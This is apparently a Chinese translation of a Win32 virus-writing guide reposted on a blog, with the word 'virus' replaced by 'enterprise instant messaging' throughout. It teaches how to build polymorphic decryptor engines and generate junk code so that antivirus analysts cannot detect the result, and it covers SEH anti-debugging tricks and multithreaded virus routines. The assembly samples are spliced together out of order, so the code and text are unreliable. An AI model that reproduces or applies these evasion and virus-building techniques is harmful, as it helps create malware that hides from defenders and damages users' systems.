企业即时通讯编写教程

企业即时通讯编写教程

;------从这里开始剪切-----------------------------------------------------------------
;
; Silly PER basic demonstrations (I)
; 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪馁
;
.即时

szUSER32 db "USER32.dll",0 ; USER32.DLL ASCIIz string

a_User32 dd 00000000h ; Variables needed
h_icon dd 00000000h
dc_screen dd 00000000h
rnd32_seed dd 00000000h
rdtsc equ <dw 310Fh>

.code

RNG_test:
xor ebp,ebp ; Bah, i am lazy and i havent
; removed indexations of the
; code... any problem?

rdtsc
mov dword ptr [ebp+rnd32_seed],eax

lea eax,dword ptr [ebp+szUSER32]
push eax
call LoadLibraryA

or eax,eax
jz exit_payload

mov dword ptr [ebp+a_User32],eax

push 32512
xor edx,edx
push edx
call LoadIconA
or eax,eax
jz exit_payload

mov dword ptr [ebp+h_icon],eax

.386
.model flat
;------到这里为止剪切-----------------------------------------------------------------
它很有意思,至少对我来说是这样的,为了看看不同数学操作的作用。
% 多态引擎的基本概念 %
~~~~~~~~~~~~~~~~~~~~~~~~
我想你应该知道我将要解释什么了,所以,如果你已经编写了一个多态引擎,或者你知道怎么创建一个,我肯定建议你跳过这一段,或者你将开始谴责我的愚蠢,这是我不想要的。
首先,我们将要在一个临时缓冲去通常是堆里产生代码,但是也可以很容易地利用VirtualAlloc 或者 GlobalAlloc API函数来开辟内存。我们只是把一个指针指向这个缓冲内存区域地开始,而且这个寄存器通常是EDI,因为通过使用STOS类地指令可以优化。所以我们要在这块内存缓冲里放置操作码字节。Ok,ok,如果你仍然认为我很糟因为我总是举一些代码例子来解释东西,我将表明你错了。
res_x equ 800d ; Horizontal resolution
res_y equ 600d ; Vertical resolution

extrn LoadLibraryA:PROC ; All the APIs needed by the
extrn LoadIconA:PROC ; RNG tester
extrn DrawIcon:PROC
extrn GetDC:PROC
extrn GetProcAddress:PROC
extrn GetTickCount:PROC
extrn ExitProcess:PROC

----------------------------------------

CreateThread函数在调用进程的地址空间中创建一个线程执行。

HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // ptr to thread security attrs
DWORD dwStackSize, // initial thread stack size, in bytes
LPTHREAD_START_ROUTINE lpStartAddress, // pointer to thread function
LPVOID lpParameter, // argument for new thread
DWORD dwCreationFlags, // creation flags
LPDWORD lpThreadId // pointer to returned thread identifier
);

参数
====

?lpThreadAttributes:指向一个确定返回句柄可以由子进程继承的SECURITY_ATTRIBUTES结构。如果lpThreadAttributes是NULL,这个句柄不 能被继承。

Windows NT: 这个结构的lpSecurityDescriptor成员指定新线程的安全描述。如果lpThreadAttributes是NULL,这个线程获得一个缺省安全 描述。

Windows 95: 这个结构的lpSecurityDescriptor成员被忽略了。

?dwStackSize: 以字节数指定新线程的堆栈大小。如果指定了0,堆栈的大小缺省的和进程的主线程的堆栈大小一样。堆栈是在进程的内存空 间中自动开辟的,并在线程终止的时候释放。注意如果需要的话,堆栈大小会增加。CreateThread试图把由dwStackSize指定 的大小提交字节数,如果大小超过了可利用的内存的话,就会失败。

?lpStartAddress:新线程的开始地址。这个通常是一个用WINAPI调用惯例声明的函数,这个函数接受一个32-bit的指针的参数,并返回一个32-bit的退出码。它的原型是:

DWORD WINAPI ThreadFunc( LPVOID );

?lpParameter: 指定一个传给线程的32-bit的参数。

?dwCreationFlags:指定控制线程创建的额外标志。如果CREATE_SUSPENDED标志被指定了,线程将以一个挂起状态创建,除非ResumeThread函数调用,将不会运行。如果这个值是0,线程在创建之后立即运行。这次,没有其它的支持的值。

?lpThreadId: 指向一个接受线程标志的32bit变量。

返回值
======
?如果函数成功了,返回值是一个新线程的句柄。

?如果函数失败了,返回值是NULL。为了获得详细的错误信息,调用GetLastError。

Windows 95: CreateThread仅仅是在一个32-bit的上下文中的时候才成功。一个32-bit DLL不能创建一个额外的线程,当那个DLL正在被一个16-bit程序调用的时候。

----------------------------------------
xor edx,edx
push edx
call GetDC
or eax,eax
jz exit_payload
mov dword ptr [ebp+dc_screen],eax

mov ecx,00000100h ; Put 256 icons in the screen

loop_payload:

push eax
push ecx
mov edx,eax
push dword ptr [ebp+h_icon]
mov eax,res_y
call get_rnd_range
push eax
mov eax,res_x
call get_rnd_range
push eax
push dword ptr [ebp+dc_screen]
call DrawIcon
pop ecx
pop eax
loop loop_payload

exit_payload:
push 0
call ExitProcess

; RNG - This example is by GriYo/29A (see Win32.Marburg)
;
; For test the validity of your RNG, put its code here ;)
;

random proc
push ecx
push edx
mov eax,dword ptr [ebp+rnd32_seed]
mov ecx,eax
imul eax,41C64E6Dh
add eax,00003039h
mov dword ptr [ebp+rnd32_seed],eax
xor eax,ecx
pop edx
pop ecx
ret
random endp

get_rnd_range proc
push ecx
push edx
mov ecx,eax
call random
xor edx,edx
div ecx
mov eax,edx
pop edx
pop ecx
ret
get_rnd_range endp

end RNG_test

.386 ; Blah
.model flat

.即时

shit:

buffer db 00h

.code

Silly_I:

lea edi,buffer ; Pointer to the buffer
mov al,0C3h ; Byte to write, in AL
stosb ; Write AL content where EDI
; points
jmp shit ; As the byte we wrote, C3,
; is the RET opcode, we fi-
; nish the execution.

end Silly_I

;------到这里为止剪切-----------------------------------------------------------------

编译上面地代码,看看发生了什么。呵?我知道它不是什么事情也没做。但是你看到了,你产生了代码,不是直接编写的,而且我给你表明了你从0开始初始代码,并想想可能性,你可以从一个什么也没有的缓冲区里面初始一整个有用的代码。这是多态引擎代码(不是多态引擎产生的代码)怎样初始解密代码的基本概念。所以,想象一下我们要编写如下的指令:

mov ecx,virus_size
mov edi,offset crypt
mov eax,crypt_key
@@1: xor dword ptr [edi],eax
add edi,4
loop @@1

那么,从上面的代码产生的解密程序将会这样:

mov al,0B9h ; MOV ECX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,virus_size ; The imm32 to store
stosd ; Store EAX where EDI points
mov al,0BFh : MOV EDI,offset32 opcode
stosb ; Store AL where EDI points
mov eax,offset crypt ; Offset32 to store
stosd ; Store EAX where EDI points
mov al,0B8h ; MOV EAX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,crypt_key ; Imm32 to store
stosd ; Store EAX where EDI points
mov ax,0731h ; XOR [EDI],EAX opcode
stosw ; Store AX where EDI points
mov ax,0C783h ; ADD EDI,imm32 (>7F) opcode
stosw ; Store AX where EDI points
mov al,04h ; Imm32 (>7F) to store
stosb ; Store AL where EDI points
mov ax,0F9E2h ; LOOP @@1 opcode
stosw ; Store AX where EDI points

OK,然后你已经产生了它应该是什么模样的代码,但是你意识到了在真正的代码中加一些什么也不做的指令非常简单,通过使用同样的方法。你可以用一个字节的指令实验一下,例如,看看它的兼容能力。

;------从这里开始剪切-----------------------------------------------------------------
;
; Silly PER basic demonstrations (II)
; ===================================
;

.386 ; Blah
.model flat

virus_size equ 12345678h ; Fake 即时
crypt equ 87654321h
crypt_key equ 21436587h

.即时

db 00h

.code

Silly_II:

lea edi,buffer ; Pointer to the buffer
; is the RET opcode, we fi-
; nish the execution.

mov al,0B9h ; MOV ECX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,virus_size ; The imm32 to store
stosd ; Store EAX where EDI points

call onebyte

mov al,0BFh ; MOV EDI,offset32 opcode
stosb ; Store AL where EDI points
mov eax,crypt ; Offset32 to store
stosd ; Store EAX where EDI points

call onebyte

mov al,0B8h ; MOV EAX,imm32 opcode
stosb ; Store AL where EDI points
mov eax,crypt_key
stosd ; Store EAX where EDI points

call onebyte

mov ax,0731h ; XOR [EDI],EAX opcode
stosw ; Store AX where EDI points

mov ax,0C783h ; ADD EDI,imm32 (>7F) opcode
stosw ; Store AX where EDI points
mov al,04h ; Imm32 (>7F) to store
stosb ; Store AL where EDI points

mov ax,0F9E2h ; LOOP @@1 opcode
stosw ; Store AX where EDI points

ret

random:
in eax,40h ; Shitty RNG
ret

onebyte:
call random ; Get a random number
and eax,one_size ; Make it to be [0..7]
mov al,[one_table+eax] ; Get opcode in AL
stosb ; Store AL where EDI points
ret

one_table label byte ; One-byters table
lahf
sahf
cbw
clc
stc
cmc
cld
nop
one_size equ ($-offset one_table)-1

buffer db 100h dup (90h) ; A simple buffer

end Silly_II

;------到这里为止剪切-----------------------------------------------------------------

呵呵,我建立了一个很弱的3级,比2级强一些的多态引擎:)寄存器交换将在后面解释,因为它随着操作码格式变。但是我在这个小子章节里的目标达到了:你现在应该知道了我们想要做什么。想象一下你使用两个字节而不是一个字节,如PUSH REG/POP REG, CLI/STI, 等等。

%“真正”代码产生%
~~~~~~~~~~~~~~~~~~
让我们再看看我们的指令。

mov ecx,virus_size ; (1)
lea edi,crypt ; (2)
mov eax,crypt_key ; (3)
@@1: xor dword ptr [edi],eax ; (4)
add edi,4 ; (5)
loop @@1 ; (6)

为了达到同样的目的,但是用不同的代码,许多事情可以做,而且这是我们的目标。例如,前3个指令可以以其它的顺序排列,而且结果不会改变,所以你可以创建一个使它们的顺序随机的函数。而且我们可以使用其它的寄存器,没有任何问题。而且我们可以使用一个dec/jnz来取代一个loop...等,等,等...

- 你的代码应该能够产生,例如,如下的能够处理一个简单指令,让我们想象一下,第一个mov:

mov ecx,virus_size

或者

push virus_size
pop ecx

或者

mov ecx,not (virus_size)
not ecx

或者

mov ecx,(virus_size xor 12345678h)
xor ecx,12345678h

等, 等, 等...

所有这些事情可以产生不同的操作码,而且完成同样的工作,也就是说,把企业即时通讯的大小放到ECX中。毫无疑问,有大量的可能性,因为你可以使用一个使用大量的指令来仅仅把一个值放到一个寄存器中。从你的角度它需要许多想象力。

- 另外一件事情是指令的顺序。正如我以前评论的,你可以很容易地没有任何问题地改变指令地顺序,因为对它们来说,顺序不重要。所以,例如,取代指令1,2,3,我们可以使它成为3,1,2或者1,3,2等等。只要让你的想象力发挥作用即可。

- 同样重要的是,交换寄存器,因为每个操作码也改变了(例如,MOV EAX,imm32被编码成B8 imm32而MOV ECX,imm32编码成B9 imm32)。你应该为解密程序从7个寄存器中使用3个寄存器(千万不要使用ESP!!!)。例如,想象一下我们选择(随机)3个寄存器,EDI作为基指针,EBX作为密钥而ESI作为计数器;然后我们可以使用EAX, ECX, EDX和EBP作为垃圾寄存器来产生垃圾指令。让我们来看看关于选3个寄存器来对解密程序产生的代码:

---------------------------------------
InitPoly proc

@@1: mov eax,8 ; Get a random reg
call r_range ; EAX := [0..7]

cmp eax,4 ; Is ESP?
jz @@1 ; If it is, get another reg

mov byte ptr [ebp+base],al ; Store it
mov ebx,eax ; EBX = Base register

@@2: mov eax,8 ; Get a random reg
call r_range ; EAX := [0..7]

cmp eax,4 ; Is ESP?
jz @@2 ; If it is, get another one

cmp eax,ebx ; Is equal to base pointer?
jz @@2 ; If it is, get another one

mov byte ptr [ebp+count],al ; Store it
mov ecx,eax ; ECX = Counter register

@@3: mov eax,8 ; Get random reg
call r_range ; EAX := [0..7]

cmp eax,4 ; Is it ESP?
jz @@3 ; If it is, get another one

cmp eax,ebx ; Is equal to base ptr reg?
jz @@3 ; If it is, get another reg

cmp eax,ecx ; Is equal to counter reg?
jz @@3 ; If it is, get another one

mov byte ptr [ebp+key],al ; Store it

ret

InitPoly endp

------------------------------------
现在,你在3个不同的寄存器中有3个变量,我们可以自由地没有任何问题地使用。对于EAX寄存器我们有一个问题,不是非常重要,但是确实是一个问题。正如你所知道的,EAX寄存器有,在某些指令中,一个优化操作码。这不是一个问题,因为代码得到了同样的执行,但是启发将会发现一些代码是以一个不正确的方式建立的,一种一个"真正"汇编不会用的的方法。你有两种选择:如果你仍然想使用EAX,例如,作为你的代码中的"活跃"的寄存器,你应该检查它,如果能够优化它,或者简单的避免在解密程序中使用EAX寄存器作为"active"寄存器,并只是把它用来做垃圾,直接使用它的优化操作码(把它们建一个表将是一个很伟大的选择)。我们将在后面看到。我推荐使用一个标志寄存器,为了最终的垃圾游戏:)

%垃圾的产生%
~~~~~~~~~~~~
在质量中,垃圾的质量90%决定了你的多态引擎的质量。是的,我说的是“质量”而非你所想的“数量”。首先,我将列出你在编写一个多态引擎时的两个选择:

- 产生现实代码,以合法的应用代码面目出现。例如,GriYo的引擎。

- 产生尽可能多的代码,以一个破坏的文件面目出现。例如,Mental Driller的 MeDriPoLen(看看 Squatter)。

Ok,让我们开始吧:

?两个的共同点:

- 用很多不同方式调用(调用中嵌调用再嵌调用...)
- 无条件的跳转

?现实主义:

一些现实的东西是那些看起来真实的东西,虽然它并不是。对于这个我打算解释如下:如果你看到大量的没有CALL和JUMP的代码你会怎么想?如果在一个CMP后面没有一个条件跳转你会怎么想?它几乎是不可能的,正如你,我和反企业即时通讯者知道的。所以我们必须有能力产生所有这些类型的垃圾结构:

- CMP/条件跳转
- TEST/条件跳转
- 如果对EAX处理,总是使用优化的指令
- 使用内存访问
- 产生 PUSH/垃圾/POP 结构
- 产生非常少的只要一个字节的代码(如果有)

?精神摧毁...恩...象破坏代码:

这个当解密程序充满了无意义的操作码看起来不像代码的时候发生,也就是说不符合以前列出来的规则的代码,而且使用协处理器的不做任何事情的指令,当然了,使用的操作码越多越好。

-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?

现在,我将试图解释代码产生的所有要点。首先,让我们以和它们相关的所有东西开始,CALL和无条件跳转。

?首先一点,CALL,它非常简单。你可以做成调用子例程,通过许多方式:

|Figure 1 -------| |Figure 2 -------| |Figure 3 -------|
| call @@1 | | jmp @@2 | | push @@2 |
| ... | | ... | | ... |
| jmp @@2 | |@@1: | |@@1: |
| ... | | ... | | ... |
|@@1: | | ret | | ret |
| ... | | ... | | ... |
| ret | |@@2: | |@@2: |
| ... | | ... | | ... |
|@@2: | | call @@1 | | call @@1 |
|________________| |________________| |________________|

当然你可以把所有的都混合起来,而且结果是,你有许多方式在一个解密程序内部编写一个子例程。而且,毫无疑问,你可以反过来(你将会听到我对它提更多的次数),而且可能在另外的CALL里有CALL,所有这些又在另外一个CALL里,然后另外一个...真的非常头疼。

此外,存储这些子例程的偏移并在产生的代码的任何地方调用它将是一个很好的选择。

?关于非条件跳转,它非常简单,因为我们不必要关心在jump之后知道jump的范围的指令,我们可以插入完全随机的操作码,比如垃圾...

-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?

现在,我打算代码中的现实主义。GriYo可以被称为这种类型的引擎的最伟大的代表;如果你看到了他的Marburg引擎, 或者他的HPS引擎,你将会意识到那个,虽然它的简易,他试图使得代码看起来尽可能真实,而且这个使得反企业即时通讯者在获得一个可靠的对付它的算法之前都快疯了。OK,让我们以一些基本要点开始:

?关于 'CMP/条件 jump' 结构,它相当清晰,因为你不放一个条件跳转,将从不会使用一个比较...OK,但是要编不是0跳转的jump,也就是说,在条件跳转和它应该跳转(或者不跳转)的偏移之间产生一些可执行的垃圾,而且在分析者的眼中,这些代码将更少地被怀疑。

?和TEST一样,但是使用JZ或者JNZ,因为正如你知道地,TEST仅仅会对zero flag有影响。

?最有可能制造失败的是AL/AX/EAX寄存器,因为它们有它们自己的优化代码。你将得到下面的指令的例子:

ADD, OR, ADC, SBB, AND, SUB, XOR, CMP 和 TEST (和寄存器很紧密).

?关于内存访问,一个好的选择是至少要获得被感染的PE文件的512字节数据,把它们放到企业即时通讯的某处,然后访问它们,读或协。试着使用除了简单的指数,双精度数,而如果你的大脑能接受它,试着使用双指数相乘,例如[ebp+esi*4]。并不是你想的那么困难,相信我。你还可以做一些内存移动,用MOVS指示,还可以使用STOS, LODS, CMPS...所有的字符串操作也可以使用。这就靠你了。

?PUSH/垃圾/POP结构非常有用,因为它的加到引擎中的简单,还因为好的效果,因为它在一个合法程序中是一个非常普通的结构。

?一个字节的指令的数量,如果太多了,会暴露我们的存在给反企业即时通讯者,或者给那些有着好奇的眼睛的家伙。考虑普通程序不是很正常使用它们,所以最好作一个检测来避免过多的使用它们,但是仍然每25字节使用一两个(我认为这是一个不错的比率)。

-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?-=?

下面是一些精神摧毁型的东西:)

?你可以使用,例如,下面两个字节的协处理器指令是没有任何类型问题的垃圾:

f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp,
fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi,
fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan,
frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp,
ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.

只要在企业即时通讯的开始放这两个指令来重置协处理器:

fwait
fninit

Mental Driller现在正偏向于现实主义了(据我所知)由他的最近的令人印象深刻的引擎(TUAREG),所以...

% 指令建立 %
~~~~~~~~~~~~~~
这大概是和多态相关的最重要的事情了:关系在相同指令和不同寄存器之间存在,或者在两个相同家族的指令之间存在。如果我们把指变成二进制的话它们之间的关系就非常清晰了。但是,因此,一些有用的信息:

寄存器二进制形式 | 000 001 010 011 100 101 110 111
| -------------------------------
Byte 寄存器 | AL CL DL BL AH CH DH BH
Word 寄存器 | AX CX DX BX SP BP SI DI
扩展寄存器 | EAX ECX EDX EBX ESP EBP ESI EDI
段 | ES CS SS DS FS GS -- --
MMX 寄存器 | MM0 MM1 MM2 MM3 MM4 MM5 MM6 MM7

我认为在写我的《Virus Writing Guides for MS-DOS》时候,所犯的大错误是在我的解释OpCodes 结构部分,和所有那些东西。这里我想要描述的是许多"你自己做",就像我在写一个多态引擎时那样。只以一个XOR操作码为例...

xor edx,12345678h -> 81 F2 78563412
xor esi,12345678h -> 81 F6 78563412

你看到了不同了吗?我习惯利用一个调试器,然后写我想要用一些寄存器构造代码,看看有什么改变。OK,正如你能看到的(嗨!你没瞎吧?),改变的字节是第二个。现在是有趣的部分了:把值变成二进制形式。

F2 -> 11 110 010
F6 -> 11 110 110

OK,你看到了什么改变了吗?最后3个bit,对吗?好了,现在到我把寄存器以二进制表示的部分:)正如你已经发现的,这3个bit根据寄存器的改变而改变了。所以...

010 -> EDX 寄存器
110 -> ESI 寄存器

只要试着把那3个比特赋其它的二进制值,你将会发现寄存器是怎么改变的。但是要小心...不要使用用这个操作码EAX值(000),因为,所有的算术指令,都对EAX优化了,因此要彻底地改变操作码。

所以,调试所有你想要的构造,看看它们之间的关系,并建立产生任何东西的可靠的代码。它非常简单!

% Recursivity %
~~~~~~~~~~~~~~~~~
它在你的多态引擎中是一个非常重要的一点。recursivity必须有一个限度,但是依赖于那个限度,代码可以非常难理解(如果那个限度很高)。让我们想象一些有一个所有垃圾代码构造器的偏移表:

PolyTable:
dd offset (GenerateMOV)
dd offset (GenerateCALL)
dd offset (GeneratteJMP)
[...]
EndPolyTable:

并想象一下你有在它们之中选择的如下例程:

GenGarbage:
mov eax,EndPolyTable-PolyTable
call r_range
lea ebx,[ebp+PolyTable]
mov eax,[ebx+eax*4]
add eax,ebp
call eax
ret

现在想象一下你的'GenerateCALL'指令从内部调用'GenGarbage'例程。呵呵'GenGarbage'可以再次调用'GenerateCALL',并再次,然后再次(取决于RNG),所以你将有CALL在CALL中在CALL中...我已经在那件事情之前提了一个限度仅仅是为了避免速度问题,但是它可以用这些新的
'GenGarbage'例程来解决:

GenGarbage:
inc byte ptr [ebp+recursion_level]
cmp byte ptr [ebp+recursion_level],05 ; <- 5 is the recursion
jae GarbageExit ; level here!

mov eax,EndPolyTable-PolyTable
call r_range
lea ebx,[ebp+PolyTable]
mov eax,[ebx+eax*4]
add eax,ebp
call eax

GarbageExit:
dec byte ptr [ebp+recursion_level]
ret

所以,我们的引擎将能产生巨大数量的充满这种CALL的垃圾代码;)当然了,这个还可以在PUSH和POP间利用:)

%最后的话%
~~~~~~~~~~
多态性决定了编码,所以我不更多的讨论了。你应该自己做一个而不是复制代码。只要不是对经典引擎用一种类型的简单加密操作,和非常基础的垃圾如MOV,等等。使用你可以想到的所有主意。例如,有许多类型的CALL可做:3种风格(正如我以前描述的),此外,你可以建立堆栈结构,PUSHAD/POPAD,通过PUSH(然后是一个 RET x)来传送参数,还有更多的。要有想象力!

【高级Win32 技术】
~~~~~~~~~~~~~~~~~~
在这一章,我将讨论一些那些不需要一整章来讨论的技术,但是,不是很容易忘记的:)所以,下面我将讨论这些东西:

- Structured Exception Handler(SEH)
- MultiThreading(多线程)
- CRC32 (IT/ET)
- AntiEmulators(反模拟)
- Overwriting .reloc section(写.reloc节)

% Structured Exception Handler %
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
结构化异常处理(Structured Exception Handler),简称SEH,是所有Win32环境的一个非常酷的特点。它所做的非常容易理解:如果一个一般保护错误(简称GPF)发生了,控制会自动传到当前存在的SEH handler。你看到了它的辅助作用了吗?如果你把所有东西弄乱了,你将能够(仍然能)保持你的企业即时通讯没法被发现:)指向SEH handler的指针是在FS:[0000]中的。所以,你可以很容易地设置你自己的新SEH handler(但是要记住保存旧的!)如果一个错误发生了,控制将会传给你的SEH handler例程,但是堆栈将会混乱。幸运的是,Micro$oft已经在设置我们的SEH handler之前把堆栈放到ESP+8的地方了:)所以,简单的我们只要恢复它并把旧的SEH handler设置回去就可以了:)让我们看看一个SEH使用的一个简单例子:

;--------从这里开始剪切-------------------------------------------------------

.386p
.model flat ; Good good... 32 bit r0x0r

extrn MessageBoxA:PROC ; Defined APIs
extrn ExitProcess:PROC

.即时

szTitle db "Structured Exception Handler [SEH]",0
szMessage db "Intercepted General Protection Fault!",0

.code

start:
push offset exception_handler ; Push our exception handler
; offset
push dword ptr fs:[0000h] ;
mov dword ptr fs:[0000h],esp

errorhandler:
mov esp,[esp+8] ; Put the original SEH offset
; Error gives us old ESP
; in [ESP+8]

pop dword ptr fs:[0000h] ; Restore old SEH handler

push 1010h ; Parameters for MessageBoxA
push offset szTitle
push offset szMessage
push 00h
call MessageBoxA ; Show message :]

push 00h
call ExitProcess ; Exit Application

setupSEH:
xor eax,eax ; Generate an exception
div eax

end start

;--------到这里为止剪切-------------------------------------------------------

正如在"Win32反调试"那一章所看到的,除此之外SEH还有另外一个特色:)它愚弄了大多数应用级的调试器。为了使你的设置一个新的SEH handler更简单,这里你可以用一些宏来做做这个(hi,Jacky!):

; Put SEH - Sets a new SEH handler

pseh macro what2do
local @@over_seh_handler
call @@over_seh_handler
mov esp,[esp+08h]
what2do
@@over_seh_handler:
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
endm

; Restore SEH - Restore old SEH handler

rseh macro
xor edx,edx
pop dword ptr fs:[edx]
pop edx
endm

它的用法非常简单。例如:

pseh <jmp SEH_handler>
div edx
push 00h
call ExitProcess
SEH_handler:
rseh
[...]

下面的代码,如果执行了,将会在'rseh'宏之后继续,而不是终止进程。清楚了吗?:)

%多线程%
~~~~~~~~
当我被告知这个可以在Win32环境很容易实现的时候,在我的脑海中的是许多它的用处:执行代码而其它的代码(也是我们企业即时通讯的)也在执行是一个美梦,因为你节约了时间:)

一个多任务的过程的主要算法是:

1.创建你想要运行的相关线程的代码
2.在父进程的代码中等待子进程结束

这个看起来很难,但是有两个API可以救我们。它们的名字:CreateThread 和 WaitForSingleObject。让我们看看Win32 API列表关于这两个API是怎么说的...

WaitForSingleObject函数当如下的情况发生的时候返回:

?指定的对象在signaled状态。
?过期间隔逝去了。

DWORD WaitForSingleObject(
HANDLE hHandle, // handle of object to wait for
DWORD dwMilliseconds // time-out interval in milliseconds
);

参数
====

?hHandle:识别对象。对一个对象类型的列表,它的句柄可以指定,看看接下来的评论。

Windows NT:句柄必须有SYNCHRONIZE访问。想知道更多的信息,看看Access Masks and Access Rights(访问标志和访问权限)。

?dwMilliseconds: 指定过期间隔,以毫秒形式。如果间隔过了,甚至对象的状态是nonsignaled,这个函数就返回。如果dwMilliseconds是0,这个函数就测试对象的状态并立即返回。如果dwMilliseconds是INFINITE这个函数从不会过期。

返回值
======

?如果函数成功了,返回值表明了导致函数返回的事件。

?如果函数失败了,返回值是WAIT_FAILED。为了获得详细的错误信息,调用GetLastError。

----------------------------------------
如果这个对你来说还不够,或者你不懂试图解释给你听的子句的话,下面给出一个多线程的ASM例子。

;-------从这里开始剪切------------------------------------------------------
.586p
.model flat

extrn CreateThread:PROC
extrn WaitForSingleObject:PROC
extrn MessageBoxA:PROC
extrn ExitProcess:PROC

.即时
tit1 db "Parent Process",0
msg1 db "Spread your wings and fly away...",0
tit2 db "Child Process",0
msg2 db "Billy's awesome bullshit!",0

lpParameter dd 00000000h
lpThreadId dd 00000000h

.code

multitask:
push offset lpThreadId ; lpThreadId
push 00h ; dwCreationFlags
push offset lpParameter ; lpParameter
push offset child_process ; lpStartAddress
push 00h ; dwStackSize
push 00h ; lpThreadAttributes
call CreateThread

; EAX = Thread handle

push 00h ; 'Parent Process' blah blah
push offset tit1
push offset msg1
push 00h
call MessageBoxA

push 0FFh ; Wait infinite seconds
push eax ; Handle to wait (thread)
call WaitForSingleObject

push 00h ; Exit program
call ExitProcess

child_process:
push 00h ; 'Child Process' blah blah
push offset tit2
push offset msg2
push 00h
call MessageBoxA
ret

end multitask

;-------到这里为止剪切------------------------------------------------------

如果你测试上述代码,你将会发现,如果你单击了在子进程中的'Accept'按钮,那么你将不得不去单击在父进程中的'Accept'按钮。是不是很有意思呀?如果父进程死了,所有相关的线程和它一起死了,但是不过子进程死了,父进程还仍然存活者。

所以看到你可以通过父进程和子进程通过WaitForSingleObject控制两个进程相当有趣。想象一下可能性:在目录里搜索一个特定文件(如MIRC.INI)同时你在产生一个多态解密程序,并解包余下的东西...哇! ;)

看看Benny的关于Threads 和 Fibers (29A#4)的教程。

% CRC32 (IT/ET) %
~~~~~~~~~~~~~~~~~~~
好了,我们都知道(我希望是这样)怎么编写一个API搜索引擎...它相当简单,而且你有许多教程选择(JHB的, Lord Julus的,和这篇教程...),只要得到一个,并学习它。但是,正如你意识到的,API地址占(让我们说浪费)了你的企业即时通讯的许多字节。如果你想要编写一个小企业即时通讯,该怎么解决这个问题呢?

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值